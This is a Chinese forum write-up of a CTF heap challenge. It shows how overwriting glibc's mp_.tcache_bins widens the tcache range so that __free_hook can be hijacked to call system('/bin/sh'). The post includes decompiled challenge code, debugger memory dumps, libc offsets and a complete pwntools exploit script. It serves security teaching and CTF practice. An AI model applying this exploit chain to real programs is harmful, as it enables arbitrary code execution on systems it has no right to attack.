tcache bin中mp_结构体利用
YOLO 发表于 山东 二进制安全 300浏览 · 2024-11-03 09:08

tcache bin中mp_结构体利用

最近在源鲁杯和网鼎杯看见了
在这写一下

mp_结构体

pwndbg> p mp_
$1 = {
  trim_threshold = 131072,
  top_pad = 131072,
  mmap_threshold = 131072,
  arena_test = 8,
  arena_max = 0,
  n_mmaps = 0,
  n_mmaps_max = 65536,
  max_n_mmaps = 0,
  no_dyn_threshold = 0,
  mmapped_mem = 0,
  max_mmapped_mem = 0,
  sbrk_base = 0x0,
  tcache_bins = 64,          #记录tcache bin的最大索引值
  tcache_max_bytes = 1032,
  tcache_count = 7,      #每条单链表上最多7个chunk
  tcache_unsorted_limit = 0
}

利用

mp_结构体主要是通过修改其中的tcache_bins来实现扩大tcache能够申请到的bin范围,并在对应偏移处写入需要申请出来的地址,从而使得申请到诸如__free_hook的特殊地址。

例题-ezheap

add

unsigned __int64 add_chunk()
{
  int v0; // ebx
  int v1; // ebx
  char buf[24]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)chunk_index > 0x20 )
    exit(0);
  if ( *((_QWORD *)&ptr + chunk_index) )
  {
    puts("error");
    exit(0);
  }
  puts("Size :");
  read(0, buf, 8uLL);
  if ( atoi(buf) > 0x1000 || atoi(buf) <= 144 )
  {
    puts("error");
    exit(1);
  }
  v0 = chunk_index;
  chunk_length[v0] = atoi(buf);
  v1 = chunk_index;
  *((_QWORD *)&ptr + v1) = malloc((int)chunk_length[chunk_index]);
  puts("Content :");
  read(0, *((void **)&ptr + chunk_index), chunk_length[chunk_index]);
  ++chunk_index;
  return __readfsqword(0x28u) ^ v4;
}

del

unsigned __int64 delete_chunk()
{
  int v1[27]; // [rsp+Ch] [rbp-74h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index :");
  __isoc99_scanf("%d", v1);
  free(*((void **)&ptr + v1[0]));
  *((_QWORD *)&ptr + v1[0]) = 0LL;
  return __readfsqword(0x28u) ^ v2;
}

edit

unsigned __int64 edit_chunk()
{
  _DWORD *buf; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("one chance for you");
  if ( a )
    exit(1);
  puts("content :");
  read(0, &buf, 8uLL);
  *buf = 666666;
  ++a;
  return __readfsqword(0x28u) ^ v2;
}

可以看到edit并不能任意地址写shell

在这我们有一个任意地址写666666这个数字的能力

想到了mp_结构体(拓展tcache)

当mp_.tcache_bins足够大的时候,我们是可以将一个大chunk放进tcache bin中的
tcache结构体是存放在堆上的(通常是heap中的第一个堆块)
只是由于tcache分配在堆上,这个索引值又太大,所以这个大chunk的地址(链表头)会被放进相邻的chunk中

调试

泄露libc_base
add(0x410,b'a') #1
add(0x100,b'a') #2       
free(1)
add(0x100,b'a'*8) #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecfd0

因为此题版本是libc-2.31的 所以在此申请了0x410大小的堆快来泄露libc

计算mp_结构体偏移,修改tcache_bins为66666

先看一下tcachebins是在mp+80位置的

0x7f718891f280 <mp_>:   0x0000000000020000  0x0000000000020000
0x7f718891f290 <mp_+16>:    0x0000000000020000  0x0000000000000008
0x7f718891f2a0 <mp_+32>:    0x0000000000000000  0x0001000000000000
0x7f718891f2b0 <mp_+48>:    0x0000000000000000  0x0000000000000000
0x7f718891f2c0 <mp_+64>:    0x0000000000000000  0x00005635089be000
0x7f718891f2d0 <mp_+80>:    0x0000000000000040  0x0000000000000408
0x7f718891f2e0 <mp_+96>:    0x0000000000000007  0x0000000000000000
0x7f718891f2f0 <obstack_exit_failure>:  0x0000000000000001  0x0000000001800000
0x7f718891f300 <__x86_raw_shared_cache_size_half>:  0x0000000000c00000  0x0000000001800000
0x7f718891f310 <__x86_shared_cache_size_half>:  0x0000000000c00000  0x000000000000c000
0x7f718891f320 <__x86_raw_data_cache_size_half>:    0x0000000000006000  0x000000000000c000
0x7f718891f330 <__x86_data_cache_size_half>:    0x0000000000006000  0x0000003f000007d0
0x7f718891f340 <opterr>:    0x0000000100000001  0x00000008000000ff
0x7f718891f350 <LogFile>:   0x00000002ffffffff  0x00000000ffffffff
0x7f718891f360 <_gmonparam>:    0x0000000000000003  0x0000000000000000

因此

mp_addr = libc_base+0x1ec280+0x50

计算出mp_结构体的位置后,我们就可以着手劫持free_hook

执行system(/bin/sh)了

此时我们放入tcache的大chunk位置

覆盖为__free_hook后

payload

payload = cyclic(0x68)+p64(free_hook)  
free(0)
add(0x100,payload)
add(0x500,p64(sys))
add(0x100,b'/bin/sh\x00')
free(7)

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(io)
    pause()
context.terminal = ['gnome-terminal','-x','sh','-c']  
def add(sz,con) :
    io.sendlineafter('choice',str(1))
    io.sendlineafter(':',str(sz))
    io.sendafter(':',con)
def show(idx) : 
    io.sendlineafter('choice\n',str(4))
    io.sendlineafter(':',str(idx))
def free(idx) :
    io.sendlineafter('choice\n',str(2))
    io.sendlineafter(':',str(idx))
def edit(addr) : 
    io.sendlineafter('choice\n',str(3))
    io.sendlineafter(':',p64(addr))
add(0x100,b'a') #0
add(0x410,b'a') #1
add(0x100,b'a') #2
free(1)
add(0x100,b'a'*8) #3
show(3)
libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-0x1ecfd0
free_hook = libc_base+libc.sym['__free_hook']
sys = libc_base+libc.sym['system']
print(hex(libc_base))
mp_addr = libc_base+0x1ec280+0x50
print('mp:'+hex(mp_addr))
edit(mp_addr)
add(0x500,b'a')
free(4)
#duan()
payload = cyclic(0x68)+p64(free_hook)  
free(0)
add(0x100,payload)
#duan()
add(0x500,p64(sys))
#duan()
add(0x100,b'/bin/sh\x00')
free(7)

io.interactive()
0 条评论
某人
表情
可输入 255